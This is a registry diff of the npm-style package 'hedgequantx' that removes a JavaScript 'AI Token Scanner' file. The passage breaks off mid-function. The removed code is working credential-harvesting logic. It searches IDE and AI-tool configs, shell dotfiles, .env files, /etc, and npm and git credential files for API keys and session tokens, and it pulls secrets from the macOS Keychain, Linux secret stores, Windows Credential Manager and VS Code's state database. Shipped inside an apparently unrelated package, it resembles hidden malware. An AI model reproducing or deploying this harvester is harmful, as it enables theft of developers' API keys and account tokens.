hedgequantx 2.5.24 → 2.5.26

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,1414 +0,0 @@
1
- /**
2
- * AI Token Scanner - Ultra Solid Edition
3
- * Scans for existing AI provider tokens from various IDEs, tools, and configs
4
- * Supports macOS, Linux, Windows, and headless servers
5
- */
6
-
7
- const fs = require('fs');
8
- const path = require('path');
9
- const os = require('os');
10
- const { execSync } = require('child_process');
11
-
12
- const homeDir = os.homedir();
13
- const platform = process.platform; // 'darwin', 'linux', 'win32'
14
-
15
- /**
16
- * Detect if running on a headless server (no GUI)
17
- */
18
- const isHeadlessServer = () => {
19
- if (platform === 'win32') return false;
20
-
21
- // Check for common server indicators
22
- const indicators = [
23
- !process.env.DISPLAY && !process.env.WAYLAND_DISPLAY, // No display server
24
- process.env.SSH_CLIENT || process.env.SSH_TTY, // SSH session
25
- process.env.TERM === 'dumb', // Dumb terminal
26
- fs.existsSync('/etc/ssh/sshd_config'), // SSH server installed
27
- ];
28
-
29
- // Check if running in container
30
- const inContainer = fs.existsSync('/.dockerenv') ||
31
- fs.existsSync('/run/.containerenv') ||
32
- (fs.existsSync('/proc/1/cgroup') &&
33
- fs.readFileSync('/proc/1/cgroup', 'utf8').includes('docker'));
34
-
35
- return indicators.filter(Boolean).length >= 2 || inContainer;
36
- };
37
-
38
- /**
39
- * Get app data directory based on OS
40
- */
41
- const getAppDataDir = () => {
42
- switch (platform) {
43
- case 'darwin':
44
- return path.join(homeDir, 'Library', 'Application Support');
45
- case 'win32':
46
- return process.env.APPDATA || path.join(homeDir, 'AppData', 'Roaming');
47
- case 'linux':
48
- default:
49
- return process.env.XDG_CONFIG_HOME || path.join(homeDir, '.config');
50
- }
51
- };
52
-
53
- /**
54
- * Get all possible config directories (for thorough scanning)
55
- */
56
- const getAllConfigDirs = () => {
57
- const dirs = [homeDir];
58
-
59
- switch (platform) {
60
- case 'darwin':
61
- dirs.push(
62
- path.join(homeDir, 'Library', 'Application Support'),
63
- path.join(homeDir, 'Library', 'Preferences'),
64
- path.join(homeDir, '.config')
65
- );
66
- break;
67
- case 'win32':
68
- dirs.push(
69
- process.env.APPDATA,
70
- process.env.LOCALAPPDATA,
71
- path.join(homeDir, '.config')
72
- );
73
- break;
74
- case 'linux':
75
- default:
76
- dirs.push(
77
- path.join(homeDir, '.config'),
78
- path.join(homeDir, '.local', 'share'),
79
- '/etc' // System-wide configs (server)
80
- );
81
- break;
82
- }
83
-
84
- return dirs.filter(d => d && pathExists(d));
85
- };
86
-
87
- /**
88
- * IDE and tool configurations for token scanning
89
- */
90
- const TOKEN_SOURCES = {
91
- // ==================== VS CODE FAMILY ====================
92
- vscode: {
93
- name: 'VS CODE',
94
- icon: '💻',
95
- paths: {
96
- darwin: [
97
- path.join(getAppDataDir(), 'Code', 'User', 'globalStorage'),
98
- path.join(getAppDataDir(), 'Code', 'User')
99
- ],
100
- linux: [
101
- path.join(homeDir, '.config', 'Code', 'User', 'globalStorage'),
102
- path.join(homeDir, '.config', 'Code', 'User'),
103
- path.join(homeDir, '.vscode')
104
- ],
105
- win32: [
106
- path.join(getAppDataDir(), 'Code', 'User', 'globalStorage'),
107
- path.join(getAppDataDir(), 'Code', 'User')
108
- ]
109
- },
110
- extensions: {
111
- claude: ['anthropic.claude-code', 'anthropic.claude'],
112
- continue: ['continue.continue'],
113
- cline: ['saoudrizwan.claude-dev'],
114
- openai: ['openai.openai-chatgpt']
115
- }
116
- },
117
-
118
- vscodeInsiders: {
119
- name: 'VS CODE INSIDERS',
120
- icon: '💻',
121
- paths: {
122
- darwin: [path.join(getAppDataDir(), 'Code - Insiders', 'User', 'globalStorage')],
123
- linux: [path.join(homeDir, '.config', 'Code - Insiders', 'User', 'globalStorage')],
124
- win32: [path.join(getAppDataDir(), 'Code - Insiders', 'User', 'globalStorage')]
125
- },
126
- extensions: {
127
- claude: ['anthropic.claude-code', 'anthropic.claude'],
128
- continue: ['continue.continue']
129
- }
130
- },
131
-
132
- vscodium: {
133
- name: 'VSCODIUM',
134
- icon: '💻',
135
- paths: {
136
- darwin: [path.join(getAppDataDir(), 'VSCodium', 'User', 'globalStorage')],
137
- linux: [path.join(homeDir, '.config', 'VSCodium', 'User', 'globalStorage')],
138
- win32: [path.join(getAppDataDir(), 'VSCodium', 'User', 'globalStorage')]
139
- },
140
- extensions: {
141
- claude: ['anthropic.claude-code'],
142
- continue: ['continue.continue']
143
- }
144
- },
145
-
146
- // ==================== AI-FOCUSED EDITORS ====================
147
- cursor: {
148
- name: 'CURSOR',
149
- icon: '🖱️',
150
- paths: {
151
- darwin: [
152
- path.join(getAppDataDir(), 'Cursor', 'User', 'globalStorage'),
153
- path.join(getAppDataDir(), 'Cursor', 'User'),
154
- path.join(homeDir, '.cursor')
155
- ],
156
- linux: [
157
- path.join(homeDir, '.config', 'Cursor', 'User', 'globalStorage'),
158
- path.join(homeDir, '.cursor')
159
- ],
160
- win32: [
161
- path.join(getAppDataDir(), 'Cursor', 'User', 'globalStorage'),
162
- path.join(homeDir, '.cursor')
163
- ]
164
- },
165
- extensions: {
166
- claude: ['anthropic.claude-code'],
167
- continue: ['continue.continue']
168
- },
169
- configFiles: ['config.json', 'settings.json', 'credentials.json']
170
- },
171
-
172
- windsurf: {
173
- name: 'WINDSURF',
174
- icon: '🏄',
175
- paths: {
176
- darwin: [
177
- path.join(getAppDataDir(), 'Windsurf', 'User', 'globalStorage'),
178
- path.join(getAppDataDir(), 'Windsurf', 'User')
179
- ],
180
- linux: [
181
- path.join(homeDir, '.config', 'Windsurf', 'User', 'globalStorage'),
182
- path.join(homeDir, '.windsurf')
183
- ],
184
- win32: [
185
- path.join(getAppDataDir(), 'Windsurf', 'User', 'globalStorage')
186
- ]
187
- },
188
- extensions: {
189
- claude: ['anthropic.claude-code']
190
- }
191
- },
192
-
193
- zed: {
194
- name: 'ZED',
195
- icon: '⚡',
196
- paths: {
197
- darwin: [
198
- path.join(getAppDataDir(), 'Zed'),
199
- path.join(homeDir, '.zed')
200
- ],
201
- linux: [
202
- path.join(homeDir, '.config', 'zed'),
203
- path.join(homeDir, '.zed')
204
- ],
205
- win32: [
206
- path.join(getAppDataDir(), 'Zed')
207
- ]
208
- },
209
- configFiles: ['settings.json', 'credentials.json', 'keychain.json']
210
- },
211
-
212
- // ==================== CLI TOOLS ====================
213
- claudeCli: {
214
- name: 'CLAUDE CLI',
215
- icon: '🤖',
216
- paths: {
217
- darwin: [
218
- path.join(homeDir, '.claude'),
219
- path.join(homeDir, '.config', 'claude'),
220
- path.join(getAppDataDir(), 'Claude')
221
- ],
222
- linux: [
223
- path.join(homeDir, '.claude'),
224
- path.join(homeDir, '.config', 'claude')
225
- ],
226
- win32: [
227
- path.join(homeDir, '.claude'),
228
- path.join(getAppDataDir(), 'Claude')
229
- ]
230
- },
231
- configFiles: ['.credentials.json', 'credentials.json', 'config.json', '.credentials', 'settings.json', 'settings.local.json', 'auth.json', 'claude.json']
232
- },
233
-
234
- // Claude config in home directory
235
- claudeHome: {
236
- name: 'CLAUDE CONFIG',
237
- icon: '🤖',
238
- paths: {
239
- darwin: [homeDir],
240
- linux: [homeDir],
241
- win32: [homeDir]
242
- },
243
- configFiles: ['.claude.json', '.clauderc', '.claude_credentials']
244
- },
245
-
246
- opencode: {
247
- name: 'OPENCODE',
248
- icon: '🔓',
249
- paths: {
250
- darwin: [path.join(homeDir, '.opencode')],
251
- linux: [path.join(homeDir, '.opencode')],
252
- win32: [path.join(homeDir, '.opencode')]
253
- },
254
- configFiles: ['config.json', 'credentials.json', 'settings.json', 'auth.json']
255
- },
256
-
257
- aider: {
258
- name: 'AIDER',
259
- icon: '🔧',
260
- paths: {
261
- darwin: [path.join(homeDir, '.aider')],
262
- linux: [path.join(homeDir, '.aider')],
263
- win32: [path.join(homeDir, '.aider')]
264
- },
265
- configFiles: ['config.yml', '.aider.conf.yml', 'credentials.json']
266
- },
267
-
268
- continuedev: {
269
- name: 'CONTINUE.DEV',
270
- icon: '▶️',
271
- paths: {
272
- darwin: [path.join(homeDir, '.continue')],
273
- linux: [path.join(homeDir, '.continue')],
274
- win32: [path.join(homeDir, '.continue')]
275
- },
276
- configFiles: ['config.json', 'config.yaml', 'credentials.json']
277
- },
278
-
279
- cline: {
280
- name: 'CLINE',
281
- icon: '📟',
282
- paths: {
283
- darwin: [
284
- path.join(getAppDataDir(), 'Code', 'User', 'globalStorage', 'saoudrizwan.claude-dev'),
285
- path.join(homeDir, '.cline')
286
- ],
287
- linux: [
288
- path.join(homeDir, '.config', 'Code', 'User', 'globalStorage', 'saoudrizwan.claude-dev'),
289
- path.join(homeDir, '.cline')
290
- ],
291
- win32: [
292
- path.join(getAppDataDir(), 'Code', 'User', 'globalStorage', 'saoudrizwan.claude-dev')
293
- ]
294
- },
295
- configFiles: ['settings.json', 'config.json']
296
- },
297
-
298
- // ==================== ENVIRONMENT VARIABLES ====================
299
- envVars: {
300
- name: 'ENVIRONMENT',
301
- icon: '🌍',
302
- envKeys: [
303
- 'ANTHROPIC_API_KEY',
304
- 'CLAUDE_API_KEY',
305
- 'OPENAI_API_KEY',
306
- 'OPENROUTER_API_KEY',
307
- 'GOOGLE_API_KEY',
308
- 'GEMINI_API_KEY',
309
- 'GROQ_API_KEY',
310
- 'DEEPSEEK_API_KEY',
311
- 'MISTRAL_API_KEY',
312
- 'PERPLEXITY_API_KEY',
313
- 'TOGETHER_API_KEY',
314
- 'XAI_API_KEY',
315
- 'GROK_API_KEY'
316
- ]
317
- },
318
-
319
- // ==================== SHELL CONFIGS (dotfiles) ====================
320
- shellConfigs: {
321
- name: 'SHELL CONFIG',
322
- icon: '🐚',
323
- paths: {
324
- darwin: [homeDir],
325
- linux: [homeDir],
326
- win32: [homeDir]
327
- },
328
- configFiles: [
329
- '.bashrc', '.bash_profile', '.zshrc', '.zprofile',
330
- '.profile', '.envrc', '.env', '.env.local',
331
- '.config/fish/config.fish'
332
- ]
333
- },
334
-
335
- // ==================== SERVER-SPECIFIC (Linux) ====================
336
- serverConfigs: {
337
- name: 'SERVER CONFIG',
338
- icon: '🖥️',
339
- paths: {
340
- linux: [
341
- '/etc/environment',
342
- '/etc/profile.d',
343
- path.join(homeDir, '.config'),
344
- '/opt'
345
- ]
346
- },
347
- configFiles: ['*.env', '*.conf', 'config.json', 'credentials.json']
348
- },
349
-
350
- // ==================== NPM/NODE CONFIGS ====================
351
- npmConfigs: {
352
- name: 'NPM CONFIG',
353
- icon: '📦',
354
- paths: {
355
- darwin: [path.join(homeDir, '.npm'), path.join(homeDir, '.npmrc')],
356
- linux: [path.join(homeDir, '.npm'), path.join(homeDir, '.npmrc')],
357
- win32: [path.join(homeDir, '.npm'), path.join(getAppDataDir(), 'npm')]
358
- },
359
- configFiles: ['.npmrc', 'config.json']
360
- },
361
-
362
- // ==================== GIT CONFIGS ====================
363
- gitConfigs: {
364
- name: 'GIT CONFIG',
365
- icon: '📂',
366
- paths: {
367
- darwin: [path.join(homeDir, '.config', 'git')],
368
- linux: [path.join(homeDir, '.config', 'git')],
369
- win32: [path.join(homeDir, '.config', 'git')]
370
- },
371
- configFiles: ['credentials', 'config']
372
- }
373
- };
374
-
375
- /**
376
- * Provider patterns to search for in config files
377
- */
378
- const PROVIDER_PATTERNS = {
379
- anthropic: {
380
- name: 'CLAUDE',
381
- displayName: 'CLAUDE (ANTHROPIC)',
382
- keyPatterns: [
383
- /sk-ant-api\d{2}-[a-zA-Z0-9_-]{80,}/g, // New format API key
384
- /sk-ant-oat\d{2}-[a-zA-Z0-9_-]{40,}/g, // OAuth access token (from Claude Max/Pro subscription)
385
- /sk-ant-(?!ort)[a-zA-Z0-9_-]{40,}/g, // Old format API key (excludes refresh tokens: sk-ant-ort...)
386
- ],
387
- sessionPatterns: [
388
- /"sessionKey"\s*:\s*"([^"]+)"/gi,
389
- /'sessionKey'\s*:\s*'([^']+)'/gi,
390
- /sessionKey\s*[=:]\s*['"]?([a-zA-Z0-9_-]{20,})['"]?/gi,
391
- /claude[_-]?session[_-]?key\s*[=:]\s*['"]?([^'"}\s]+)['"]?/gi,
392
- /claude[_-]?session\s*[=:]\s*['"]?([^'"}\s]+)['"]?/gi
393
- ],
394
- envKey: 'ANTHROPIC_API_KEY'
395
- },
396
-
397
- openai: {
398
- name: 'OPENAI',
399
- displayName: 'OPENAI (GPT)',
400
- keyPatterns: [
401
- /sk-proj-[a-zA-Z0-9_-]{100,}/g, // Project API key (new)
402
- /sk-(?!ant|or)[a-zA-Z0-9]{48,}/g, // Standard API key (NOT anthropic/openrouter)
403
- ],
404
- sessionPatterns: [
405
- /openai[_-]?accessToken\s*[=:]\s*['"]?([^'"}\s]+)['"]?/gi,
406
- /chatgpt[_-]?session\s*[=:]\s*['"]?([^'"}\s]+)['"]?/gi
407
- ],
408
- envKey: 'OPENAI_API_KEY'
409
- },
410
-
411
- openrouter: {
412
- name: 'OPENROUTER',
413
- displayName: 'OPENROUTER',
414
- keyPatterns: [
415
- /sk-or-v1-[a-zA-Z0-9]{64}/g, // OpenRouter API key
416
- /sk-or-[a-zA-Z0-9_-]{40,}/g, // Alt format
417
- ],
418
- envKey: 'OPENROUTER_API_KEY'
419
- },
420
-
421
- gemini: {
422
- name: 'GEMINI',
423
- displayName: 'GEMINI (GOOGLE)',
424
- keyPatterns: [
425
- /AIza[a-zA-Z0-9_-]{35}/g, // Google API key
426
- ],
427
- envKey: 'GOOGLE_API_KEY'
428
- },
429
-
430
- groq: {
431
- name: 'GROQ',
432
- displayName: 'GROQ',
433
- keyPatterns: [
434
- /gsk_[a-zA-Z0-9]{52}/g, // Groq API key
435
- ],
436
- envKey: 'GROQ_API_KEY'
437
- },
438
-
439
- deepseek: {
440
- name: 'DEEPSEEK',
441
- displayName: 'DEEPSEEK',
442
- keyPatterns: [
443
- /sk-[a-f0-9]{32}/g, // DeepSeek API key
444
- ],
445
- envKey: 'DEEPSEEK_API_KEY'
446
- },
447
-
448
- mistral: {
449
- name: 'MISTRAL',
450
- displayName: 'MISTRAL',
451
- keyPatterns: [
452
- /mistral[_-]?[a-zA-Z0-9]{32}/gi, // Mistral key with prefix
453
- ],
454
- envKey: 'MISTRAL_API_KEY'
455
- },
456
-
457
- perplexity: {
458
- name: 'PERPLEXITY',
459
- displayName: 'PERPLEXITY',
460
- keyPatterns: [
461
- /pplx-[a-zA-Z0-9]{48}/g, // Perplexity API key
462
- ],
463
- envKey: 'PERPLEXITY_API_KEY'
464
- },
465
-
466
- together: {
467
- name: 'TOGETHER',
468
- displayName: 'TOGETHER AI',
469
- keyPatterns: [
470
- /together[_-]?[a-f0-9]{64}/gi, // Together API key with prefix
471
- ],
472
- envKey: 'TOGETHER_API_KEY'
473
- },
474
-
475
- xai: {
476
- name: 'XAI',
477
- displayName: 'GROK (XAI)',
478
- keyPatterns: [
479
- /xai-[a-zA-Z0-9_-]{40,}/g, // xAI key
480
- ],
481
- envKey: 'XAI_API_KEY'
482
- }
483
- };
484
-
485
- // ==================== UTILITY FUNCTIONS ====================
486
-
487
- /**
488
- * Check if a path exists
489
- */
490
- const pathExists = (p) => {
491
- try {
492
- fs.accessSync(p);
493
- return true;
494
- } catch {
495
- return false;
496
- }
497
- };
498
-
499
- /**
500
- * Read file safely
501
- */
502
- const readFileSafe = (filePath) => {
503
- try {
504
- return fs.readFileSync(filePath, 'utf8');
505
- } catch {
506
- return null;
507
- }
508
- };
509
-
510
- /**
511
- * Get file modification time
512
- */
513
- const getFileModTime = (filePath) => {
514
- try {
515
- const stats = fs.statSync(filePath);
516
- return stats.mtime;
517
- } catch {
518
- return null;
519
- }
520
- };
521
-
522
- /**
523
- * Known credential entries for AI providers (used by all OS)
524
- * Organized by IDE/App
525
- */
526
- const CREDENTIAL_ENTRIES = [
527
- // VS Code
528
- { service: 'Claude Code-credentials', provider: 'anthropic', name: 'CLAUDE CODE (VS CODE)', ide: 'vscode' },
529
- { service: 'vscode.anthropic-credentials', provider: 'anthropic', name: 'VS CODE ANTHROPIC', ide: 'vscode' },
530
- { service: 'vscode-openai', provider: 'openai', name: 'VS CODE OPENAI', ide: 'vscode' },
531
- { service: 'copilot-credentials', provider: 'openai', name: 'GITHUB COPILOT', ide: 'vscode' },
532
-
533
- // VS Code Insiders
534
- { service: 'Claude Code-credentials-insiders', provider: 'anthropic', name: 'CLAUDE CODE (INSIDERS)', ide: 'vscode-insiders' },
535
-
536
- // Cursor
537
- { service: 'Cursor-credentials', provider: 'anthropic', name: 'CURSOR (CLAUDE)', ide: 'cursor' },
538
- { service: 'cursor.anthropic-credentials', provider: 'anthropic', name: 'CURSOR ANTHROPIC', ide: 'cursor' },
539
- { service: 'cursor.openai-credentials', provider: 'openai', name: 'CURSOR OPENAI', ide: 'cursor' },
540
-
541
- // Windsurf
542
- { service: 'Windsurf-credentials', provider: 'anthropic', name: 'WINDSURF (CLAUDE)', ide: 'windsurf' },
543
- { service: 'windsurf.anthropic-credentials', provider: 'anthropic', name: 'WINDSURF ANTHROPIC', ide: 'windsurf' },
544
-
545
- // Zed
546
- { service: 'Zed-credentials', provider: 'anthropic', name: 'ZED (CLAUDE)', ide: 'zed' },
547
- { service: 'zed.anthropic-credentials', provider: 'anthropic', name: 'ZED ANTHROPIC', ide: 'zed' },
548
- { service: 'zed.openai-credentials', provider: 'openai', name: 'ZED OPENAI', ide: 'zed' },
549
-
550
- // Claude CLI / App
551
- { service: 'Claude Safe Storage', provider: 'anthropic', name: 'CLAUDE CLI', ide: 'claude-cli' },
552
- { service: 'claude-cli-credentials', provider: 'anthropic', name: 'CLAUDE CLI', ide: 'claude-cli' },
553
-
554
- // Continue.dev
555
- { service: 'Continue-credentials', provider: 'anthropic', name: 'CONTINUE.DEV', ide: 'continue' },
556
- { service: 'continue.anthropic-credentials', provider: 'anthropic', name: 'CONTINUE ANTHROPIC', ide: 'continue' },
557
- { service: 'continue.openai-credentials', provider: 'openai', name: 'CONTINUE OPENAI', ide: 'continue' },
558
-
559
- // Cline
560
- { service: 'Cline-credentials', provider: 'anthropic', name: 'CLINE', ide: 'cline' },
561
- { service: 'saoudrizwan.claude-dev-credentials', provider: 'anthropic', name: 'CLINE (CLAUDE DEV)', ide: 'cline' },
562
-
563
- // OpenCode
564
- { service: 'OpenCode-credentials', provider: 'anthropic', name: 'OPENCODE', ide: 'opencode' },
565
- { service: 'opencode.anthropic-credentials', provider: 'anthropic', name: 'OPENCODE ANTHROPIC', ide: 'opencode' },
566
-
567
- // Aider
568
- { service: 'Aider-credentials', provider: 'anthropic', name: 'AIDER', ide: 'aider' },
569
- { service: 'aider.anthropic-credentials', provider: 'anthropic', name: 'AIDER ANTHROPIC', ide: 'aider' },
570
- { service: 'aider.openai-credentials', provider: 'openai', name: 'AIDER OPENAI', ide: 'aider' },
571
-
572
- // Generic OpenAI
573
- { service: 'openai-credentials', provider: 'openai', name: 'OPENAI', ide: 'generic' },
574
-
575
- // Generic OpenRouter
576
- { service: 'openrouter-credentials', provider: 'openrouter', name: 'OPENROUTER', ide: 'generic' },
577
- ];
578
-
579
- /**
580
- * Parse credential JSON and extract tokens
581
- */
582
- const parseCredentialJson = (output, entry) => {
583
- const results = [];
584
-
585
- try {
586
- const data = JSON.parse(output);
587
-
588
- // Extract Claude OAuth access token
589
- if (data.claudeAiOauth?.accessToken) {
590
- results.push({
591
- source: `SECURE STORAGE - ${entry.name}`,
592
- sourceId: 'secureStorage',
593
- icon: '🔐',
594
- type: data.claudeAiOauth.subscriptionType === 'max' ? 'session' : 'api_key',
595
- provider: entry.provider,
596
- providerName: PROVIDER_PATTERNS[entry.provider]?.displayName || entry.provider.toUpperCase(),
597
- token: data.claudeAiOauth.accessToken,
598
- refreshToken: data.claudeAiOauth.refreshToken,
599
- expiresAt: data.claudeAiOauth.expiresAt,
600
- subscriptionType: data.claudeAiOauth.subscriptionType,
601
- lastUsed: new Date()
602
- });
603
- }
604
-
605
- // Extract OpenAI token
606
- if (data.accessToken && entry.provider === 'openai') {
607
- results.push({
608
- source: `SECURE STORAGE - ${entry.name}`,
609
- sourceId: 'secureStorage',
610
- icon: '🔐',
611
- type: 'session',
612
- provider: entry.provider,
613
- providerName: PROVIDER_PATTERNS[entry.provider]?.displayName || entry.provider.toUpperCase(),
614
- token: data.accessToken,
615
- lastUsed: new Date()
616
- });
617
- }
618
-
619
- // Generic API key in JSON
620
- if (data.apiKey) {
621
- results.push({
622
- source: `SECURE STORAGE - ${entry.name}`,
623
- sourceId: 'secureStorage',
624
- icon: '🔐',
625
- type: 'api_key',
626
- provider: entry.provider,
627
- providerName: PROVIDER_PATTERNS[entry.provider]?.displayName || entry.provider.toUpperCase(),
628
- token: data.apiKey,
629
- lastUsed: new Date()
630
- });
631
- }
632
- } catch {
633
- // Not JSON, treat as raw token
634
- if (output.length > 20) {
635
- for (const [providerId, provider] of Object.entries(PROVIDER_PATTERNS)) {
636
- for (const pattern of provider.keyPatterns) {
637
- pattern.lastIndex = 0;
638
- if (pattern.test(output)) {
639
- results.push({
640
- source: `SECURE STORAGE - ${entry.name}`,
641
- sourceId: 'secureStorage',
642
- icon: '🔐',
643
- type: 'api_key',
644
- provider: providerId,
645
- providerName: provider.displayName,
646
- token: output,
647
- lastUsed: new Date()
648
- });
649
- break;
650
- }
651
- }
652
- }
653
- }
654
- }
655
-
656
- return results;
657
- };
658
-
659
- /**
660
- * Read tokens from macOS Keychain
661
- * Optimized: stops after finding first valid token per provider to minimize password prompts
662
- */
663
- const readMacOSKeychain = () => {
664
- if (platform !== 'darwin') return [];
665
-
666
- const results = [];
667
- const { execSync } = require('child_process');
668
- const foundProviders = new Set(); // Track which providers we already found
669
-
670
- // Sort entries to prioritize most common ones first
671
- const priorityOrder = ['Claude Code-credentials', 'Cursor-credentials', 'Claude Safe Storage'];
672
- const sortedEntries = [...CREDENTIAL_ENTRIES].sort((a, b) => {
673
- const aIdx = priorityOrder.indexOf(a.service);
674
- const bIdx = priorityOrder.indexOf(b.service);
675
- if (aIdx === -1 && bIdx === -1) return 0;
676
- if (aIdx === -1) return 1;
677
- if (bIdx === -1) return -1;
678
- return aIdx - bIdx;
679
- });
680
-
681
- for (const entry of sortedEntries) {
682
- // Skip if we already found a token for this provider
683
- if (foundProviders.has(entry.provider)) {
684
- continue;
685
- }
686
-
687
- try {
688
- const output = execSync(
689
- `security find-generic-password -s "${entry.service}" -w 2>/dev/null`,
690
- { encoding: 'utf8', timeout: 5000, stdio: ['pipe', 'pipe', 'pipe'] }
691
- ).trim();
692
-
693
- if (output) {
694
- const tokens = parseCredentialJson(output, entry);
695
- if (tokens.length > 0) {
696
- results.push(...tokens);
697
- foundProviders.add(entry.provider); // Mark this provider as found
698
- }
699
- }
700
- } catch {
701
- // Entry not found or access denied - no password prompt for missing entries
702
- }
703
- }
704
-
705
- return results;
706
- };
707
-
708
- /**
709
- * Read tokens from Linux Secret Service (libsecret/gnome-keyring)
710
- */
711
- const readLinuxSecretService = () => {
712
- if (platform !== 'linux') return [];
713
-
714
- const results = [];
715
- const { execSync } = require('child_process');
716
-
717
- // Check if secret-tool is available
718
- try {
719
- execSync('which secret-tool', { stdio: 'pipe' });
720
- } catch {
721
- return results; // secret-tool not available
722
- }
723
-
724
- for (const entry of CREDENTIAL_ENTRIES) {
725
- try {
726
- // Try different attribute combinations
727
- const commands = [
728
- `secret-tool lookup service "${entry.service}" 2>/dev/null`,
729
- `secret-tool lookup application "${entry.service}" 2>/dev/null`,
730
- `secret-tool lookup xdg:schema "org.freedesktop.Secret.Generic" service "${entry.service}" 2>/dev/null`,
731
- ];
732
-
733
- for (const cmd of commands) {
734
- try {
735
- const output = execSync(cmd, {
736
- encoding: 'utf8',
737
- timeout: 5000,
738
- stdio: ['pipe', 'pipe', 'pipe']
739
- }).trim();
740
-
741
- if (output) {
742
- results.push(...parseCredentialJson(output, entry));
743
- break; // Found it, no need to try other commands
744
- }
745
- } catch {
746
- // Command failed, try next
747
- }
748
- }
749
- } catch {
750
- // Entry not found
751
- }
752
- }
753
-
754
- // Also check VS Code's pass-based storage on Linux
755
- const passEntries = [
756
- 'vscode/Claude Code-credentials',
757
- 'vscode/Cursor-credentials',
758
- 'vscode/openai-credentials',
759
- ];
760
-
761
- for (const passPath of passEntries) {
762
- try {
763
- const output = execSync(`pass show "${passPath}" 2>/dev/null`, {
764
- encoding: 'utf8',
765
- timeout: 5000,
766
- stdio: ['pipe', 'pipe', 'pipe']
767
- }).trim();
768
-
769
- if (output) {
770
- const entry = CREDENTIAL_ENTRIES.find(e => passPath.includes(e.service)) ||
771
- { service: passPath, provider: 'unknown', name: passPath };
772
- results.push(...parseCredentialJson(output, entry));
773
- }
774
- } catch {
775
- // pass entry not found
776
- }
777
- }
778
-
779
- return results;
780
- };
781
-
782
- /**
783
- * Read tokens from Windows Credential Manager
784
- */
785
- const readWindowsCredentialManager = () => {
786
- if (platform !== 'win32') return [];
787
-
788
- const results = [];
789
- const { execSync } = require('child_process');
790
-
791
- for (const entry of CREDENTIAL_ENTRIES) {
792
- try {
793
- // Use PowerShell to read from Credential Manager
794
- const psCommand = `
795
- $cred = Get-StoredCredential -Target "${entry.service}" -ErrorAction SilentlyContinue
796
- if ($cred) {
797
- [System.Runtime.InteropServices.Marshal]::PtrToStringAuto(
798
- [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($cred.Password)
799
- )
800
- }
801
- `;
802
-
803
- const output = execSync(`powershell -Command "${psCommand.replace(/\n/g, ' ')}"`, {
804
- encoding: 'utf8',
805
- timeout: 10000,
806
- stdio: ['pipe', 'pipe', 'pipe']
807
- }).trim();
808
-
809
- if (output) {
810
- results.push(...parseCredentialJson(output, entry));
811
- }
812
- } catch {
813
- // Try cmdkey as fallback (less reliable for getting password)
814
- try {
815
- // cmdkey can list but not retrieve passwords directly
816
- // VS Code on Windows often uses DPAPI-encrypted files instead
817
- } catch {
818
- // Entry not found
819
- }
820
- }
821
- }
822
-
823
- // Also check VS Code's DPAPI-encrypted storage on Windows
824
- const vscodeCredPath = path.join(
825
- process.env.APPDATA || '',
826
- 'Code',
827
- 'User',
828
- 'globalStorage',
829
- 'state.vscdb'
830
- );
831
-
832
- if (pathExists(vscodeCredPath)) {
833
- const dbResults = readVSCodeStateDb(vscodeCredPath);
834
- results.push(...dbResults);
835
- }
836
-
837
- return results;
838
- };
839
-
840
- /**
841
- * Read tokens from OS secure storage (unified function)
842
- */
843
- const readSecureStorage = () => {
844
- switch (platform) {
845
- case 'darwin':
846
- return readMacOSKeychain();
847
- case 'linux':
848
- return readLinuxSecretService();
849
- case 'win32':
850
- return readWindowsCredentialManager();
851
- default:
852
- return [];
853
- }
854
- };
855
-
856
- /**
857
- * Try to read VS Code SQLite state database
858
- */
859
- const readVSCodeStateDb = (dbPath) => {
860
- const results = [];
861
-
862
- try {
863
- // Try using sqlite3 CLI if available
864
- const { execSync } = require('child_process');
865
-
866
- // Check if sqlite3 is available
867
- try {
868
- execSync('which sqlite3', { stdio: 'pipe' });
869
- } catch {
870
- return results; // sqlite3 not available
871
- }
872
-
873
- // Query for keys that might contain tokens
874
- const queries = [
875
- "SELECT key, value FROM ItemTable WHERE key LIKE '%apiKey%' OR key LIKE '%token%' OR key LIKE '%credential%' OR key LIKE '%session%'",
876
- "SELECT key, value FROM ItemTable WHERE key LIKE '%anthropic%' OR key LIKE '%openai%' OR key LIKE '%claude%'"
877
- ];
878
-
879
- for (const query of queries) {
880
- try {
881
- const output = execSync(`sqlite3 "${dbPath}" "${query}"`, {
882
- encoding: 'utf8',
883
- timeout: 5000,
884
- stdio: ['pipe', 'pipe', 'pipe']
885
- });
886
-
887
- if (output) {
888
- const lines = output.trim().split('\n');
889
- for (const line of lines) {
890
- const [key, value] = line.split('|');
891
- if (value && value.length > 20) {
892
- // Try to identify provider
893
- for (const [providerId, provider] of Object.entries(PROVIDER_PATTERNS)) {
894
- for (const pattern of provider.keyPatterns) {
895
- pattern.lastIndex = 0;
896
- if (pattern.test(value)) {
897
- results.push({
898
- type: 'api_key',
899
- provider: providerId,
900
- providerName: provider.displayName,
901
- token: value,
902
- keyPath: key
903
- });
904
- }
905
- }
906
- }
907
- }
908
- }
909
- }
910
- } catch {
911
- // Query failed, continue
912
- }
913
- }
914
- } catch {
915
- // SQLite read failed
916
- }
917
-
918
- return results;
919
- };
920
-
921
- /**
922
- * List files in directory (recursive optional)
923
- */
924
- const listFiles = (dir, recursive = false, maxDepth = 3, currentDepth = 0) => {
925
- if (!pathExists(dir) || currentDepth > maxDepth) return [];
926
-
927
- try {
928
- const entries = fs.readdirSync(dir, { withFileTypes: true });
929
- let files = [];
930
-
931
- for (const entry of entries) {
932
- const fullPath = path.join(dir, entry.name);
933
-
934
- // Skip hidden system directories
935
- if (entry.name.startsWith('.') && entry.isDirectory() &&
936
- !['config', '.continue', '.claude', '.opencode', '.cursor', '.zed', '.aider'].some(n => entry.name.includes(n))) {
937
- continue;
938
- }
939
-
940
- if (entry.isFile()) {
941
- files.push(fullPath);
942
- } else if (entry.isDirectory() && recursive) {
943
- files = files.concat(listFiles(fullPath, recursive, maxDepth, currentDepth + 1));
944
- }
945
- }
946
-
947
- return files;
948
- } catch {
949
- return [];
950
- }
951
- };
952
-
953
- /**
954
- * Validate token format
955
- */
956
- const validateToken = (token, providerId) => {
957
- if (!token || token.length < 10) return false;
958
-
959
- // Check against known patterns
960
- const provider = PROVIDER_PATTERNS[providerId];
961
- if (!provider) return true; // Accept if no pattern defined
962
-
963
- for (const pattern of provider.keyPatterns) {
964
- // Reset regex state
965
- pattern.lastIndex = 0;
966
- if (pattern.test(token)) return true;
967
- }
968
-
969
- if (provider.sessionPatterns) {
